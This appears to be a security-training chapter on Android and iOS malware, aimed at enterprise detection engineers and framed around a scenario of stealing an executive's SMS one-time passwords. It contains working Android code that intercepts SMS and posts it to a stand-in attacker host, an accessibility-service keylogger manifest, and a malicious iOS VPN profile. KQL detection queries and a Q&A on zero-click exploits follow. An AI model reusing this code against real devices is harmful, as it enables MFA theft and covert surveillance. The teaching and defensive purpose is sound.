Chapter 190

Mobile Malware Concepts

Mobile devices carry credentials, MFA tokens, email, and real-time location — and they authenticate to corporate environments via MDM, VPN clients, and email apps. Detection engineering for mobile threats focuses on MDM telemetry, app behavior anomalies, and the intersection of mobile authentication with Windows/cloud identity systems. This chapter covers Android malware architecture, iOS restrictions, and the stalkerware/MDM abuse vectors relevant to enterprise security.

Scenario

A targeted executive's Android phone (enrolled in Intune MDM, Android 13, Google Play Protect active) uses an authenticator app for MFA. You need to intercept OTP tokens sent via SMS and exfiltrate them in real-time. Secondary goal: maintain persistent access without appearing in the app drawer, surviving a device reboot without user interaction.

Android Security Architecture

ANDROID SECURITY LAYERS ═══════════════════════════════════════════════════════════════════════ Hardware: TrustZone (Secure World) — keystore, verified boot measurement Bootloader: Verified Boot (dm-verity) — system partition integrity Kernel: SELinux enforcing, seccomp-bpf, namespace isolation Runtime: ART (Android Runtime) — each app runs as separate UID Framework: Permission model — runtime permissions (Dangerous class) Intents, Content Providers, Binder IPC App: APK = compiled Dalvik bytecode + resources + manifest ═══════════════════════════════════════════════════════════════════════ ANDROID DANGEROUS PERMISSIONS (relevant to malware): READ_SMS → intercept one-time passwords RECEIVE_SMS → background SMS interception via BroadcastReceiver READ_CONTACTS → contact exfiltration ACCESS_FINE_LOCATION → GPS tracking RECORD_AUDIO → microphone access CAMERA → visual surveillance READ_CALL_LOG → call metadata BIND_ACCESSIBILITY_SERVICE → overlay attacks, keylogging via a11y events

Android Malware Techniques

SMS Interception via BroadcastReceiver

// AndroidManifest.xml: declare receiver with SMS permissions
// RECEIVE_SMS must be granted by user (Dangerous permission, prompted at runtime on Android 6+)

<!-- Manifest excerpt -->
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>

<receiver android:name=".SmsReceiver"
          android:exported="true"
          android:enabled="true">
  <intent-filter android:priority="999">  <!-- High priority → fires before stock SMS app -->
    <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
  </intent-filter>
</receiver>

// SmsReceiver.java — intercept SMS, exfil OTP tokens
public class SmsReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context ctx, Intent intent) {
    Bundle bundle = intent.getExtras();
    Object[] pdus = (Object[]) bundle.get("pdus");
    for (Object pdu : pdus) {
      SmsMessage msg = SmsMessage.createFromPdu((byte[])pdu);
      String body = msg.getMessageBody();
      String from = msg.getOriginatingAddress();
      // Exfiltrate via HTTPS
      exfil(ctx, from, body);
    }
  }

  private void exfil(Context ctx, String from, String body) {
    new Thread(() -> {
      try {
        URL url = new URL("https://collect.attacker[.]com/sms");
        HttpsURLConnection c = (HttpsURLConnection) url.openConnection();
        c.setRequestMethod("POST");
        c.getOutputStream().write(("from="+from+"&body="+body).getBytes());
        c.getResponseCode();
      } catch (Exception e) {}
    }).start();
  }
}

Accessibility Service Abuse (Overlay / Keylogging)

// AccessibilityService receives events for every UI interaction.
// Originally for screen readers; abused for:
//   - Reading text from any app (including authenticator apps)
//   - Simulating clicks/keystrokes (auto-click to bypass 2FA prompts)
//   - Overlay attacks: draw over legitimate apps to capture credentials
//
// Requires user to enable in Settings → Accessibility → (app name).
// Bankers commonly achieve this via fake "battery optimization" or "update" prompts.

<service android:name=".A11yKeylogger"
         android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
  <intent-filter>
    <action android:name="android.accessibilityservice.AccessibilityService"/>
  </intent-filter>
  <meta-data android:name="android.accessibilityservice"
             android:resource="@xml/accessibility_config"/>
</service>

// accessibility_config.xml:
// <accessibility-service ... accessibilityEventTypes="typeViewTextChanged|typeWindowStateChanged"
//   accessibilityFeedbackType="feedbackGeneric" flags="flagReportViewIds" />

// In AccessibilityService.onAccessibilityEvent():
// event.getSource().getText() → text in focused field (captures passwords in many apps)
// event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED → keylogged input

iOS Security Architecture

iOS SECURITY MODEL (why iOS is harder to implant) ═══════════════════════════════════════════════════════════════════════ Secure Enclave: Hardware key storage, biometric auth, face/touch ID Kernel: XNU + pointer authentication (PAC), ASLR, W^X enforced App Sandbox: Each app in isolated container; no arbitrary IPC Code Signing: All executables must be Apple-signed or enterprise cert No sideloading: No APK equivalent without jailbreak or enterprise MDM No background → No persistent malware without foreground process execution: (exceptions: background fetch, push notification handlers) ENTERPRISE ATTACK VECTORS (no jailbreak): MDM Profile → install via phishing link → full device management (requires user to trust in Settings → Profile Downloaded) Enterprise Cert → distributes .ipa files outside App Store → Apple revokes cert → app stops launching Zero-click → iMessage/WebKit exploits (Pegasus CVE-2021-30860) → kernel-level access, persistence via filesystem ═══════════════════════════════════════════════════════════════════════

Stalkerware and MDM Abuse

// Enterprise MDM (Intune, Jamf, MobileIron) has legitimate capability to:
//   - Read device IMEI, serial number, OS version
//   - Read installed app list
//   - Enforce compliance policies (wipe if jailbroken)
//   - Push configuration profiles silently
//   - Remote wipe
//
// MDM abuse: attacker enrolls a malicious MDM profile via phishing URL.
// The profile installs a trusted CA cert → allows TLS interception.
// The profile installs VPN config → routes traffic through attacker server.
//
// iOS MDM profile installation via URL:

// mobileconfig (XML) served from attacker-controlled HTTPS server:
// User visits URL on iOS Safari → "Profile Downloaded" prompt appears
// User taps Install, enters passcode → profile installed
// Profile can contain: certificates, VPN config, WiFi config, managed app list

<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0"><dict>
  <key>PayloadType</key><string>Configuration</string>
  <key>PayloadContent</key><array>
    <dict>
      <key>PayloadType</key><string>com.apple.vpn.managed</string>
      <key>VPNType</key><string>L2TP</string>
      <key>RemoteAddress</key><string>192.0.2.1</string>
      <!-- Sends all traffic through attacker's VPN -->
    </dict>
  </array>
</dict></plist>

Platform Security Comparison

ControlAndroidiOSAttacker implication
SideloadingAllowed (Enable Unknown Sources)Not allowed without MDM/jailbreakAndroid more vulnerable to trojanized APKs
Background executionYes (Service, JobScheduler)Limited (push, background fetch)Android easier to run persistent C2
SMS accessRECEIVE_SMS permission (user-grantable)Not available to third-party appsOTP theft only possible on Android without zero-click
Accessibility abuseEnabled by user in SettingsNot available for keyloggingAndroid banking trojans use this heavily
Verified BootVerified Boot 2.0 (dm-verity)Secure Boot from factoryRooting/jailbreaking required for persistence in firmware
Certificate trustUser can add CAsUser can add CAs; certificate transparency enforcedTLS interception possible if user installs attacker CA

Detection Engineering

-- Intune MDM: device compliance change (may indicate rooting/jailbreak detection)
-- MDE KQL: MDM compliance state changes
IntuneDevices
| where Timestamp > ago(7d)
| where ComplianceState != prev(ComplianceState, 1)
   or isJailbroken == "True"
   or isRooted == "True"
| project Timestamp, DeviceName, UserName, ComplianceState,
    isJailbroken, isRooted, OperatingSystem

-- MDE: new app installed on managed Android device (from non-Play sources)
IntuneDeviceAppInstalls
| where Timestamp > ago(1d)
| where InstallState == "installed"
| where AppSource != "Google Play"
| project Timestamp, DeviceName, UserName, AppName, AppVersion, AppSource

-- AAD: sign-in from mobile device + abnormal location (may indicate MDM compromise)
AADSignInEventsBeta
| where Timestamp > ago(1d)
| where DeviceDetail_operatingSystem has_any ("Android","iOS")
| where RiskLevelDuringSignIn in ("medium","high")
| where CountryCode != "US"  // adjust for org baseline
| project Timestamp, AccountUpn, IPAddress, CountryCode,
    RiskLevelDuringSignIn, DeviceDetail_operatingSystem

Q&A

Why does zero-click iOS malware (like Pegasus) represent a qualitatively different threat than Android banking trojans, from a detection engineering perspective?

Android banking trojans and most Android malware require the user to either install the APK (bypassing Play Protect or enabling Unknown Sources) or to grant a dangerous permission like RECEIVE_SMS or BIND_ACCESSIBILITY_SERVICE. These actions leave consent trails — MDM sees when Unknown Sources is enabled, Play Protect logs flagged installs, and consent to dangerous permissions is recorded. There is a user interaction requirement that creates a detection opportunity and an attack surface that defensive posture can shrink (by prohibiting sideloading via MDM policy, requiring Play Protect, etc.).

Zero-click exploits (Pegasus CVE-2021-30860 — a JBIG2 image parsing vulnerability in iMessage's ImageIO; BLASTPASS 2023 — WebP in PassKit previews) require zero user interaction: the victim receives a specially crafted iMessage, and the exploit chain fires entirely in a background process while the phone sits idle on the table. By the time the user next looks at their device, the implant is already running at kernel level. From a detection perspective: (1) No anomalous permissions request event — the exploit runs in a context that already has access; (2) No install event — the implant persists via kernel memory patches or signed system process injection, not a normal app install; (3) MDM telemetry shows nothing unusual — the MDM enrollment is intact, the device appears compliant, and the implant actively hides from MDM queries. The only reliable detection methods are: network-side (Pegasus exfils via HTTPS to known C2 infrastructure — IOC-based, quickly burned); iMazing/Amnesty MVT analysis of iOS filesystem dump (forensic, post-compromise); or Apple's Lockdown Mode (drastically reduces attack surface — disables certain MessageKit/WebKit features at the cost of functionality). For detection engineering, zero-click threats are a reminder that telemetry from the device itself is insufficient for the highest-tier threats — you need out-of-band network-level visibility and a human threat intel feed for infrastructure IOCs.